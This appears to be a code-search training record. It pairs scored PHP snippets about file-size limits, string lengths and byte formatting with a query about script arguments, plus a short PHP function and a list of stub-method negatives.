"function getMaxFileSize()\n {\n $val = trim(ini_get('post_max_size'));\n $last = strtolower($val[strlen($val)-1]);\n $val = intval($val);\n switch($last) {\n case 'g':\n $val *= 1024;\n case 'm':\n $val *= 1024;\n case 'k':\n $val *= 1024;\n }\n $postMaxSize = $val;\n\n return($postMaxSize);\n }",
"function ks_custom_post( $length ) {\n\treturn 40;\n}",
"public function getMaxInToOrConversionChunkSize()\r\n {\r\n return 150;\r\n }",
"public function getMaxSize(): int;",
"function get_real_size($size=0) {\r\n/// Converts numbers like 10M into bytes\r\n if (!$size) {\r\n return 0;\r\n }\r\n $scan['MB'] = 1048576;\r\n $scan['Mb'] = 1048576;\r\n $scan['M'] = 1048576;\r\n $scan['m'] = 1048576;\r\n $scan['KB'] = 1024;\r\n $scan['Kb'] = 1024;\r\n $scan['K'] = 1024;\r\n $scan['k'] = 1024;\r\n\r\n while (list($key) = each($scan)) {\r\n if ((strlen($size)>strlen($key))&&(substr($size, strlen($size) - strlen($key))==$key)) {\r\n $size = substr($size, 0, strlen($size) - strlen($key)) * $scan[$key];\r\n break;\r\n }\r\n }\r\n return $size;\r\n}",
"public function getMaxLength()\n {\n return 254;\n }",
"function html5wp_custom_post($length)\n{\n return 40;\n}",
"function html5wp_custom_post($length)\n{\n return 40;\n}",
"function tmpl_let_to_num( $size ) {\r\n\t\t$l = substr( $size, -1 );\r\n\t\t$ret = substr( $size, 0, -1 );\r\n\t\tswitch ( strtoupper( $l ) ) {\r\n\t\t\tcase 'P':\r\n\t\t\t\t$ret *= 1024;\r\n\t\t\tcase 'T':\r\n\t\t\t\t$ret *= 1024;\r\n\t\t\tcase 'G':\r\n\t\t\t\t$ret *= 1024;\r\n\t\t\tcase 'M':\r\n\t\t\t\t$ret *= 1024;\r\n\t\t\tcase 'K':\r\n\t\t\t\t$ret *= 1024;\r\n\t\t}\r\n\t\treturn $ret;\r\n\t}",
"function upload_size_limit_filter($size)\n {\n }",
"function __getPostMaxFileSize() {\n return (int)(str_replace('M', '', ini_get('post_max_size')) * 1024 * 1024);//bytes\n }",
"function virustotalscan_get_size($size)\r\n{\r\n $standard = floatval(1024);\r\n if (floatval($size) < $standard) {\r\n // atunci sunt biti\r\n return $size.\" bytes\";\r\n }\r\n else {\r\n // sunt mai mult de 1024 de biti\r\n if (floatval(floatval($size)/1024) > $standard) {\r\n // atunci este de ordinul MB-itilor si se iau doar doua zecimale semnificative\r\n return number_format(floatval($size)/1024/1024, 2). \" MB\";\r\n }\r\n else {\r\n // este de ordinul KB-itilor si se iau doar doua zecimale semnificative\r\n return number_format(floatval($size)/1024, 2). \" KB\";\r\n }\r\n // restul nu ne intereseaza pentru ca nu pot fi incarcate fisiere mai mari de 1 GB\r\n }\t\r\n}",
"function filter_site_upload_size_limit( $size ) {\n $size = 1024 * 64000;\n return $size;\n}",
"protected function get_post_max_size()\n {\n return size_inbytes(ini_get(\"post_max_size\")); \n//echo 'display_errors = ' . ini_get('display_errors') . \"\\n\";\n//echo 'register_globals = ' . ini_get('register_globals') . \"\\n\";\n//echo 'post_max_size = ' . ini_get('post_max_size') . \"\\n\";\n//echo 'post_max_size+1 = ' . (ini_get('post_max_size')+1) . \"\\n\";\n//echo 'post_max_size in bytes = ' . size_inbytes(ini_get(\"post_max_size\")); \n }",
"public function getPostMaxSize()\n {\n $iniMax = $this->getNormalizedIniPostMaxSize();\n\n if ('' === $iniMax) {\n return null;\n }\n\n if (preg_match('#^(\\d+)([bkmgt])#i', $iniMax, $match)) {\n $shift = array('b' => 0, 'k' => 10, 'm' => 20, 'g' => 30, 't' => 40);\n $iniMax = ($match[1] * (1 << $shift[strtolower($match[2])]));\n }\n\n return (int) $iniMax;\n }",
"function size_tobytes(&$size, $onerror) {\n \t $arr_uploaded = explode(' ', $size); //[0] nr [1] mb/gb/tb\n \t if (count($arr_uploaded) != 2 || !is_numeric($arr_uploaded[0]) || $arr_uploaded[0] <= 0 || strlen($arr_uploaded[1]) != 2) return $onerror;\n \t $amount = $arr_uploaded[0];\n \t $masure = $arr_uploaded[1];\n \t if ($masure == 'MB') return ceil($amount * 1048576);\n \t if ($masure == 'GB') return ceil($amount * 1073741824);\n \t if ($masure == 'TB') return ceil($amount * 1099511627776);\n \t return $onerror;\n }",
"function cre_resize_bytes($size) {\n $count = 0;\n $format = array(\"B\",\"KB\",\"MB\",\"GB\",\"TB\",\"PB\",\"EB\",\"ZB\",\"YB\");\n while(($size/1024)>1 && $count<8) {\n $size=$size/1024;\n $count++;\n }\n $return = number_format($size,0,'','.').\" \".$format[$count];\n return $return;\n }",
"public function getNormalizedIniPostMaxSize()\n {\n return strtoupper(trim(ini_get('post_max_size')));\n }",
"function get_real_size($size=0) {\n if (!$size) {\n return 0;\n }\n $scan['MB'] = 1048576;\n $scan['Mb'] = 1048576;\n $scan['M'] = 1048576;\n $scan['m'] = 1048576;\n $scan['KB'] = 1024;\n $scan['Kb'] = 1024;\n $scan['K'] = 1024;\n $scan['k'] = 1024;\n\n while (list($key) = each($scan)) {\n if ((strlen($size)>strlen($key))&&(substr($size, strlen($size) - strlen($key))==$key)) {\n $size = substr($size, 0, strlen($size) - strlen($key)) * $scan[$key];\n break;\n }\n }\n return $size;\n}",
"function wp_get_comment_fields_max_lengths()\n {\n }",
"public function getLengthLimit()\n {\n }",
"public static function getMaxFileSizeString()\n\t{\n\t\t$max_filesize = self::getMaxFileSize();\n\t\t\n\t\t// format for display in mega-bytes\n\t\treturn sprintf(\"%.1f MB\", $max_filesize / 1024 / 1024);\n\t}",
"function maxlength($text, $max, $shorten=true)\n{\nif(strlen($text) >= $max) {\nif($shorten) {\n$text = substr($text, 0, ($max-3)).\"...\";\n} else {\n$text = substr($text, 0, ($max));\n} }\nreturn $text;\n}",
"function sloodle_get_max_post_upload()\n {\n // Get the sizes of the relevant limits\n $upload_max_filesize = sloodle_convert_file_size_shorthand(ini_get('upload_max_filesize'));\n $post_max_size = sloodle_convert_file_size_shorthand(ini_get('post_max_size'));\n\n // Use the smaller limit\n return min($upload_max_filesize, $post_max_size);\n }",
"function strshrink($string, $default_size, $max)\n{\n\t$strlen = strlen($string);\n\t\n\tif (strlen($string) >= $max) {\n\t\t$size = $default_size;\n\t\t\n\t\tfor ($i=0; ($strlen - $max) >= $i; $i += 6) {\n\t\t\t$size -= 1;\n\t\t}\n\t\t\n\t\treturn '<div style=\"display:inline;font-size:' .$size. 'px\">' .$string. '</div>';\n\t}\n\t\n\treturn $string;\n}",
"protected function getPostMaxSize(): int\n {\n if (is_numeric($postMaxSize = ini_get('post_max_size'))) {\n return (int) $postMaxSize;\n }\n \n $metric = strtoupper(substr($postMaxSize, -1));\n $postMaxSize = (int) $postMaxSize;\n \n return match ($metric) {\n 'K', 'k' => $postMaxSize * 1024,\n 'M', 'm' => $postMaxSize * 1048576,\n 'G', 'g' => $postMaxSize * 1073741824,\n default => $postMaxSize,\n };\n }",
"function MAD_getMemoryLimitSizeInBytes() {\n $phpMemoryLimit = ini_get('memory_limit');\n if (empty($phpMemoryLimit) || $phpMemoryLimit == -1) {\n // No memory limit\n return -1;\n }\n $aSize = array(\n 'G' => 1073741824,\n 'M' => 1048576,\n 'K' => 1024\n );\n $phpMemoryLimitInBytes = $phpMemoryLimit;\n foreach($aSize as $type => $multiplier) {\n $pos = strpos($phpMemoryLimit, $type);\n if (!$pos) {\n $pos = strpos($phpMemoryLimit, strtolower($type));\n }\n if ($pos) {\n $phpMemoryLimitInBytes = substr($phpMemoryLimit, 0, $pos) * $multiplier;\n }\n }\n return $phpMemoryLimitInBytes;\n}",
"function size_text($bytes=0) {\n $unit = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');\n $i = 0;\n $size = $bytes;\n while ($size >= 1000) {\n $size /= 1000;\n $i++;\n }\n return round($size, 2) . $unit[$i];\n}",
"function fix_import_form_size($size)\n {\n }",
"function checkSize(){\n global $postpath;\n return (filesize($postpath) / 1000000) < 1;\n }",
"function prettySize($size)\n{\n $limit = 10 * 1024;\n $mult = 1;\n\n if ($size < ($limit * $mult)) {\n $retSize = $size . \" bytes\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" KiB\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" MiB\";\n } else {\n $mult *= 1024;\n if ($size < ($limit * $mult)) {\n $size = round($size / $mult);\n $retSize = $size . \" GiB\";\n } else {\n $mult *= 1024;\n $size = round($size / $mult);\n $retSize = $size . \" TiB\";\n }\n }\n }\n }\n return $retSize;\n}",
"protected function get_max_length(): int\n\t{\n\t\treturn $this->end < $this->total ? $this->length : -1;\n\t}",
"public static function configSizeToMB($value){\n\t\t$value=trim($value);\n\t\t$lastchar = substr($value, -1);\n\t\t\n\t\tswitch($lastchar){\n\t\t\tcase 'M':\n\t\t\t\treturn substr($value,0,-1);\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'G':\n\t\t\t\treturn substr($value,0,-1)*1024;\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'K':\n\t\t\t\treturn substr($value,0,-1)/1024;\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tdefault:\n\t\t\t\t//assume bytes\n\t\t\t\treturn $value/1024/1024;\n\t\t\t\tbreak;\n\t\t}\n\t}",
"function serendipity_ini_bytesize($val) {\n if ( $val == '' )\n return 0;\n\n switch(substr($val, -1)) {\n case 'k':\n case 'K':\n return (int) $val * 1024;\n break;\n case 'm':\n case 'M':\n return (int) $val * 1048576;\n break;\n default:\n return $val;\n }\n}",
"public function GetMaxSize ();",
"function sizeFormat($size) { \n if($size<1024) \n { \n return $size.\" bytes\"; \n } \n else if($size<(1024*1024)) \n { \n $size=round($size/1024,1); \n return $size.\" KB\"; \n } \n else if($size<(1024*1024*1024)) \n { \n $size=round($size/(1024*1024),1); \n return $size.\" MB\"; \n } \n else \n { \n $size=round($size/(1024*1024*1024),1); \n return $size.\" GB\"; \n } \n}",
"public static function getMaxFileSize()\n\t{\n\t\t// get the value for the maximal uploadable filesize from the php.ini (if available)\n\t\t$umf = ini_get(\"upload_max_filesize\");\n\t\t// get the value for the maximal post data from the php.ini (if available)\n\t\t$pms = ini_get(\"post_max_size\");\n\t\t\n\t\t//convert from short-string representation to \"real\" bytes\n\t\t$multiplier_a=array(\"K\" => 1024, \"M\" => 1024 * 1024, \"G\" => 1024 * 1024 * 1024);\n\t\t\n\t\t$umf_parts=preg_split(\"/(\\d+)([K|G|M])/\", $umf, -1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);\n\t\t$pms_parts=preg_split(\"/(\\d+)([K|G|M])/\", $pms, -1, PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);\n\t\t\n\t\tif (count($umf_parts) == 2) {\n\t\t\t$umf = $umf_parts[0]*$multiplier_a[$umf_parts[1]];\n\t\t}\n\t\tif (count($pms_parts) == 2) {\n\t\t\t$pms = $pms_parts[0]*$multiplier_a[$pms_parts[1]];\n\t\t}\n\t\t\n\t\t// use the smaller one as limit\n\t\t$max_filesize = min($umf, $pms);\n\t\t\n\t\tif (!$max_filesize) \n\t\t\t$max_filesize=max($umf, $pms);\n\t\t\n\t\treturn $max_filesize;\n\t}",
"public function getMaxPadSize() {\n\treturn $this->textStorageSize - $this->getOverheadSize($this->algoBlockSize - 1);\n }",
"function MBGetStringLength($s)\n\t{\n\t\tif($this->CurrentFont['type']=='Type0')\n\t\t{\n\t\t\t$len = 0;\n\t\t\t$nbbytes = strlen($s);\n\t\t\tfor ($i = 0; $i < $nbbytes; $i++)\n\t\t\t{\n\t\t\t\tif (ord($s[$i])<128)\n\t\t\t\t\t$len++;\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$len++;\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $len;\n\t\t}\n\t\telse\n\t\t\treturn strlen($s);\n\t}",
"public static function getMaxUploadFileSize() {}",
"function MBGetStringLength($s)\n {\n if($this->CurrentFont['type']=='Type0')\n {\n $len = 0;\n $nbbytes = strlen($s);\n for ($i = 0; $i < $nbbytes; $i++)\n {\n if (ord($s[$i])<128)\n $len++;\n else\n {\n $len++;\n $i++;\n }\n }\n return $len;\n }\n else\n return strlen($s);\n }",
"function MBGetStringLength($s)\n {\n if($this->CurrentFont['type']=='Type0')\n {\n $len = 0;\n $nbbytes = strlen($s);\n for ($i = 0; $i < $nbbytes; $i++)\n {\n if (ord($s[$i])<128)\n $len++;\n else\n {\n $len++;\n $i++;\n }\n }\n return $len;\n }\n else\n return strlen($s);\n }",
"function MBGetStringLength($s)\n {\n if($this->CurrentFont['type']=='Type0')\n {\n $len = 0;\n $nbbytes = strlen($s);\n for ($i = 0; $i < $nbbytes; $i++)\n {\n if (ord($s[$i])<128)\n $len++;\n else\n {\n $len++;\n $i++;\n }\n }\n return $len;\n }\n else\n return strlen($s);\n }",
"function MBGetStringLength($s)\n {\n if($this->CurrentFont['type']=='Type0')\n {\n $len = 0;\n $nbbytes = strlen($s);\n for ($i = 0; $i < $nbbytes; $i++)\n {\n if (ord($s[$i])<128)\n $len++;\n else\n {\n $len++;\n $i++;\n }\n }\n return $len;\n }\n else\n return strlen($s);\n }",
"function has_max_length($value, $max) {\r\n\treturn strlen($value) <= $max;\r\n}",
"function MBGetStringLength($s){\r\n if($this->CurrentFont['type']=='Type0')\r\n {\r\n $len = 0;\r\n $nbbytes = strlen($s);\r\n for ($i = 0; $i < $nbbytes; $i++)\r\n {\r\n if (ord($s[$i])<128)\r\n $len++;\r\n else\r\n {\r\n $len++;\r\n $i++;\r\n }\r\n }\r\n return $len;\r\n }\r\n else\r\n return strlen($s);\r\n }",
"protected function getPostMaxSize()\n {\n if (is_numeric($postMaxSize = ini_get('post_max_size'))) {\n return (int)$postMaxSize;\n }\n\n $metric = strtoupper(substr($postMaxSize, -1));\n\n switch ($metric) {\n case 'K':\n return (int)$postMaxSize * 1024;\n case 'M':\n return (int)$postMaxSize * 1048576;\n default:\n return (int)$postMaxSize;\n }\n }",
"function has_max_length($value, $max) {\n\t\treturn strlen($value) <= $max;\n\t\t}",
"public function getMaximumLineLength() {}",
"function limitar($sString, $iLimite) {\n\n if ( strlen($sString) > $iLimite ) {\n $sString = mb_substr($sString, 0, $iLimite - 3) . '...';\n } else {\n $sString = mb_substr($sString, 0, $iLimite);\n }\n\n return $sString;\n}",
"public function getMaxLength() {}",
"function max_length($array){\n\t$message = [];\n\tforeach($array as $field=>$limit){\n\t\t$length = strlen(trim($_POST[$field]));\n\t\tif($length > $limit){\n\t\t\t$message[$field] = readable_name($field).\" cannot exceed \".$limit.\" characters. \";\n\t\t}\n\t}\n\n\treturn $message;\n}",
"function php_size_to_bytes($val) {\n $val = trim($val);\n $last = strtolower($val[strlen($val)-1]);\n switch($last) {\n // The 'G' modifier is available since PHP 5.1.0\n case 'g':\n $val *= 1024;\n case 'm':\n $val *= 1024;\n case 'k':\n $val *= 1024;\n }\n\n return $val;\n }",
"function testMaxlen(){\n\t\t#mdx:maxlen\t\t\n\t\tParam::get('description')->filters()->maxlen(30, \"Description must be less than %d characters long!\");\n\t\t$error = Param::get('description')\n\t\t\t->process(['description'=>str_repeat('lorem ipsum', 10)])\n\t\t\t->error;\n\n\t\t#/mdx var_dump($error)\n\n\t\t$this->assertContains(\"less than 30\", $error);\n\t}",
"function su($s, $max=0)\n\t\t{\n\t\t\t$ret = self::values($s);\n\t\t\t$r = trim(strip_tags($ret[0]));\n\n\t\t\tif($max && (strlen($r) > $max))\n\t\t\t{\n\t\t\t\tif($max < 4)\n\t\t\t\t\treturn mb_substr($r, $max);\n\t\t\t\telse\n\t\t\t\t\treturn mb_substr($r, $max-3).'...';\n\t\t\t}\n\n\t\t\tif($r == '')\n\t\t\t\t$r = '<i>no value</i>';\n\t\t\n\t\t\treturn $r;\n\t\t}",
"function MBGetStringLength($s)\n\n {\n\n if($this->CurrentFont['type']=='Type0')\n\n {\n\n $len = 0;\n\n $nbbytes = strlen($s);\n\n for ($i = 0; $i < $nbbytes; $i++)\n\n {\n\n if (ord($s[$i])<128)\n\n $len++;\n\n else\n\n {\n\n $len++;\n\n $i++;\n\n }\n\n }\n\n return $len;\n\n }\n\n else\n\n return strlen($s);\n\n }",
"function MBGetStringLength($s)\n\n {\n\n if($this->CurrentFont['type']=='Type0')\n\n {\n\n $len = 0;\n\n $nbbytes = strlen($s);\n\n for ($i = 0; $i < $nbbytes; $i++)\n\n {\n\n if (ord($s[$i])<128)\n\n $len++;\n\n else\n\n {\n\n $len++;\n\n $i++;\n\n }\n\n }\n\n return $len;\n\n }\n\n else\n\n return strlen($s);\n\n }",
"function _parseSize($size)\r\n\t{\r\n\t\tif ($size < 1024) {\r\n\t\t\treturn $size . ' bytes';\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif ($size >= 1024 && $size < 1024 * 1024) {\r\n\t\t\t\treturn sprintf('%01.2f', $size / 1024.0) . ' Kb';\r\n\t\t\t} else {\r\n\t\t\t\treturn sprintf('%01.2f', $size / (1024.0 * 1024)) . ' Mb';\r\n\t\t\t}\r\n\t\t}\r\n\t}",
"function getMaxAttachmentSize()\n {\n $size = Misc::return_bytes(ini_get('upload_max_filesize'));\n return Misc::formatFileSize($size);\n }",
"public function getMaxSize() {\n return number_format($this->_max / 1024, 1) . ' KB';\n }",
"function view_size($size) {\n\n\tif (!is_numeric($size))\n\t\treturn \"[Error]\";\n\telse {\n\t\tif ($size >= 1073741824)\n\t\t\t$size = round($size/1073741824*100)/100 .\" GB\";\n\t\telse\n\t\t\tif ($size >= 1048576)\n\t\t\t\t$size = round($size/1048576*100)/100 .\" MB\";\n\t\telse\n\t\t\tif ($size >= 1024)\n\t\t\t\t$size = round($size/1024*100)/100 .\" KB\";\n\t\telse \n\t\t\t$size = $size . \" B\";\n\t\t\t\n\t\treturn $size;\n\t}\n}",
"function sizeFormat($b = 0){\r\n\t\tif($b < 1024){\r\n\t\t\treturn $b . 'bytes';\r\n\t\t}elseif($b < 1048576){\r\n\t\t\treturn round($b / 1024 * 100 ) / 100 . 'KB';\r\n\t\t}elseif($b < 130023424){\r\n\t\t\treturn round($b / 1048576 * 100 ) / 100 . 'MB';\r\n\t\t}elseif($b < 133143986176){\r\n\t\t\treturn round($b / 130023424 * 100) / 100 . 'GB';\r\n\t\t}else{\r\n\t\t\treturn round($b / 133143986176 * 100) / 100 . 'TB';\r\n\t\t}\r\n\t}",
"public function getMaxChars()\n {\n return intval($this->maxChars);\n }",
"function elzero_extend_excert_length($length) {\n return 30;\n}",
"function truncate_max($string, $limit, $break=\" \", $pad=\"...\") { // return with no change if string is shorter than $limit \n\tif(strlen($string) <= $limit) return $string; \n\t$string = substr($string, 0, $limit); \n\tif(false !== ($breakpoint = strrpos($string, $break))) \n\t{ $string = substr($string, 0, $breakpoint); } \n\treturn $string . $pad; \n}",
"private function getMaxFileSize()\n {\n $iniMax = strtolower(ini_get('upload_max_filesize'));\n\n if ('' === $iniMax) {\n return PHP_INT_MAX;\n }\n\n $max = ltrim($iniMax, '+');\n if (0 === strpos($max, '0x')) {\n $max = intval($max, 16);\n } elseif (0 === strpos($max, '0')) {\n $max = intval($max, 8);\n } else {\n $max = (int) $max;\n }\n\n switch (substr($iniMax, -1)) {\n case 't': $max *= 1024;\n case 'g': $max *= 1024;\n case 'm': $max *= 1024;\n case 'k': $max *= 1024;\n }\n\n return $max;\n }",
"function parse_size($size) {\n $unit = preg_replace('/[^bkmgtpezy]/i', '', $size); // Remove the non-unit characters from the size.\n $size = preg_replace('/[^0-9\\.]/', '', $size); // Remove the non-numeric characters from the size.\n if ($unit) {\n // Find the position of the unit in the ordered string which is the power of magnitude to multiply a kilobyte by.\n return round($size * pow(1024, stripos('bkmgtpezy', $unit[0])));\n }\n else {\n return round($size);\n }\n }",
"function get_quota($quota) {\n if(ereg('S$', $quota)) {\n $quota = ereg_replace('S$','', $quota);\n $quota = $quota / 1024;\n $quota = $quota / 1024;\n $quota = $quota . 'MB';\n }\n return $quota;\n}",
"function qa_post_limit_exceeded()\n{\n\tif (in_array($_SERVER['REQUEST_METHOD'], array('POST', 'PUT')) && empty($_POST) && empty($_FILES)) {\n\t\t$postmaxsize = ini_get('post_max_size'); // Gets the current post_max_size configuration\n\t\t$unit = substr($postmaxsize, -1);\n\t\tif (!is_numeric($unit)) {\n\t\t\t$postmaxsize = substr($postmaxsize, 0, -1);\n\t\t}\n\t\t// Gets an integer value that can be compared against the size of the HTTP request\n\t\t$postmaxsize = convert_to_bytes($unit, $postmaxsize);\n\t\treturn $_SERVER['CONTENT_LENGTH'] > $postmaxsize;\n\t}\n}",
"public function getMaxSize(){\n return $this->maxSize;\n }",
"public function validate_post_data()\n\t{\n\t\tee()->load->helper('number_helper');\n\t\t$post_limit = get_bytes(ini_get('post_max_size'));\n\t\treturn $_SERVER['CONTENT_LENGTH'] <= $post_limit;\n\t}",
"public function getAllowedMaxFileSize()\n {\n $size = $this->getValidator()->getAllowedMaxFileSize();\n if($size) {\n $sizeMB = $size / 1024 / 1024;\n return $sizeMB;\n }\n }",
"function has_max_length($value, $max) {\n\treturn strlen($value) <= $max;\n}",
"function has_max_length($value, $max) {\n\treturn strlen($value) <= $max;\n}",
"function validSize($size)\n {\n return $size > 1;\n }",
"public function getMaxSize() : int{\n return $this->maxSize;\n }",
"function fileOfSize($size, $precision = 2)\n{\n if ($size >= 1099511627776) return round(($size / 1099511627776 * 100) / 100, $precision) . ' To';\n if ($size >= 1073741824) return round(($size / 1073741824 * 100) / 100, $precision) . ' Go';\n if ($size >= 1048576) return round(($size / 1048576 * 100) / 100, $precision) . ' Mo';\n if ($size >= 1024) return round(($size / 1024 * 100) / 100, $precision) . ' Ko';\n if ($size > 0) return $size . ' o';\n return '-';\n}",
"function excerpt_size($legth = 150) {\r\n global $post;\r\n return substr(strip_tags($post->post_content), 0, $legth).'...';\r\n}",
"function max_allowed_packet() {\n\t\treturn 850000;\n\t}",
"function format_bytes ( $size ) {\n\t\tswitch ( $size ) {\n\t\t\tcase $size > 1000000:\n\t\t\t\treturn number_format(ceil($size / 1000000)) . \"mb\";\n\t\t\t\tbreak;\n\t\t\tcase $size > 1000:\n\t\t\t\treturn number_format(ceil($size / 1000)) . \"k\";\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\treturn number_format($size) . \"b\";\n\t\t\t\tbreak;\n\t\t}\n\t}",
"protected static function _maxLength() {\n if (self::$_ruleValue) {\n if (strlen(trim(self::$_elementValue)) > self::$_ruleValue) {\n self::setErrorMessage(\"Enter at most \" . self::$_ruleValue . \" charachters only\");\n self::setInvalidFlag(true);\n } else {\n self::setInvalidFlag(false);\n }\n }\n }",
"public function getMaxSize() : int {\n\t\treturn $this->generator->getMaxSize();\n\t}",
"public function setMaxSizeOfInstructions($value) {}",
"public function getMaxChars()\n {\n return $this->maxChars;\n }",
"function validMaxLength($value, $max)\n {\n return strlen($value) <= $max;\n }",
"private function shorten(string $string, int $max_size): string\n {\n return rtrim(mb_substr($string, 0, $max_size), ' .,;:-/\\\\') . '...';\n }",
"function size_format($bytes, $decimals = 0)\n {\n }",
"function xthreads_size_to_bytes($s) {\r\n\t$s = strtolower(trim($s));\r\n\tif(!$s) return 0;\r\n\t$v = floatval($s);\r\n\t$last = substr($s, -1);\r\n\tif($last == 'b')\r\n\t\t$last = substr($s, -2, 1);\r\n\tswitch($last) {\r\n\t\tcase 'e': $v *= 1024;\r\n\t\tcase 'p': $v *= 1024;\r\n\t\tcase 't': $v *= 1024;\r\n\t\tcase 'g': $v *= 1024;\r\n\t\tcase 'm': $v *= 1024;\r\n\t\tcase 'k': $v *= 1024;\r\n\t}\r\n\treturn intval(round($v));\r\n}",
"function PMA_displayMaximumUploadSize($max_upload_size) {\r\n list($max_size, $max_unit) = PMA_formatByteDown($max_upload_size);\r\n return '(' . sprintf(_AM_SELECTAFILE_DESC, $max_size, $max_unit) . ')';\r\n}",
"function xthreads_size_to_bytes($s) {\r\n\t$s = strtolower(trim($s));\r\n\tif(!$s) return 0;\r\n\t$v = (float)$s;\r\n\t$last = substr($s, -1);\r\n\tif($last == 'b')\r\n\t\t$last = substr($s, -2, 1);\r\n\tswitch($last) {\r\n\t\tcase 'e': $v *= 1024;\r\n\t\tcase 'p': $v *= 1024;\r\n\t\tcase 't': $v *= 1024;\r\n\t\tcase 'g': $v *= 1024;\r\n\t\tcase 'm': $v *= 1024;\r\n\t\tcase 'k': $v *= 1024;\r\n\t}\r\n\treturn (int)round($v);\r\n}",
"function sloodle_convert_file_size_shorthand($size)\n {\n $size = trim($size);\n $num = (int)$size;\n $char = strtolower($size{strlen($size)-1});\n switch ($char)\n {\n case 'g': $num *= 1024;\n case 'm': $num *= 1024;\n case 'k': $num *= 1024;\n }\n\n return $num;\n }",
"function human_filesize($size,$unit=\"\") {\n if( (!$unit && $size >= 1<<30) || $unit == \"GB\")\n return number_format($size/(1<<30),2).\"GB\";\n if( (!$unit && $size >= 1<<20) || $unit == \"MB\")\n return number_format($size/(1<<20),2).\"MB\";\n if( (!$unit && $size >= 1<<10) || $unit == \"KB\")\n return number_format($size/(1<<10),2).\"KB\";\n return number_format($size).\" bytes\";\n}"
] | [
"0.66431254",
"0.6485755",
"0.63011587",
"0.62845933",
"0.6269652",
"0.62427145",
"0.62206876",
"0.6206757",
"0.61732864",
"0.6162779",
"0.61375713",
"0.60421",
"0.6035234",
"0.6027889",
"0.60260314",
"0.60260314",
"0.60074455",
"0.599738",
"0.59890836",
"0.5953725",
"0.5940683",
"0.5935043",
"0.5924977",
"0.5924955",
"0.59157085",
"0.591276",
"0.59050184",
"0.5859205",
"0.58590305",
"0.5849214",
"0.5844789",
"0.57966274",
"0.5761439",
"0.5758523",
"0.57523763",
"0.5751646",
"0.57371277",
"0.57290876",
"0.57180095",
"0.57006973",
"0.56899196",
"0.5687051",
"0.5676804",
"0.56719",
"0.5661696",
"0.5660216",
"0.5657325",
"0.5656939",
"0.5655647",
"0.5655647",
"0.5655647",
"0.5655647",
"0.5652134",
"0.564313",
"0.563433",
"0.56287384",
"0.5625793",
"0.5625052",
"0.5619423",
"0.56143826",
"0.5613086",
"0.56126916",
"0.56124",
"0.560297",
"0.560297",
"0.56028533",
"0.56016415",
"0.56001174",
"0.559544",
"0.5585245",
"0.55844986",
"0.5584179",
"0.5584174",
"0.5583705",
"0.5581983",
"0.5579076",
"0.55765915",
"0.55757177",
"0.5567735",
"0.5565864",
"0.5558929",
"0.5558929",
"0.5558844",
"0.5558547",
"0.55555886",
"0.55532986",
"0.55461293",
"0.55410844",
"0.5535278",
"0.5520724",
"0.55196005",
"0.55059564",
"0.5503863",
"0.55027044",
"0.54902726",
"0.5488647",
"0.54854876",
"0.5482126",
"0.5480953",
"0.5480286"
] | 0.5677198 | 42 |
first argument provided is the script itself | private function setGivenArgumentAmount(): int {
return $_SERVER['argc'] - 1;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function script()\n {\n }",
"public function main()\r\n {\r\n \r\n }",
"public abstract function Main();",
"public function main()\n\t{\n\t}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"public function main() {}",
"abstract protected function main(array $arguments);",
"public static function main(){\n\t\t\t\n\t\t}",
"public function main();",
"public function main()\n {\n\n }",
"public abstract function exec();",
"protected function main()\n /**/\n {\n parent::run();\n }",
"public function scripts()\n\t\t{\n\t\t}",
"public function getMain();",
"public function getMain();",
"function execute() {\n\t\tif (empty($this->args)) {\n\t\t\t$this->__interactive();\n\t\t}\n\n\t\tif (count($this->args) == 1) {\n\t\t\t$this->__interactive($this->args[0]);\n\t\t}\n\n\t\tif (count($this->args) > 1) {\n\t\t\t$type = Inflector::underscore($this->args[0]);\n\t\t\tif ($this->bake($type, $this->args[1])) {\n\t\t\t\t$this->out('done');\n\t\t\t}\n\t\t}\n\t}",
"abstract protected function _run();",
"abstract protected function _run();",
"function needsExecution() ;",
"abstract public function run(array $args=null);",
"public function setMain(): void;",
"abstract public function run() ;",
"function run()\r\n {\r\n }",
"abstract public function register_script();",
"abstract function run();",
"abstract public function run($args);",
"public static function run() {\n\t}",
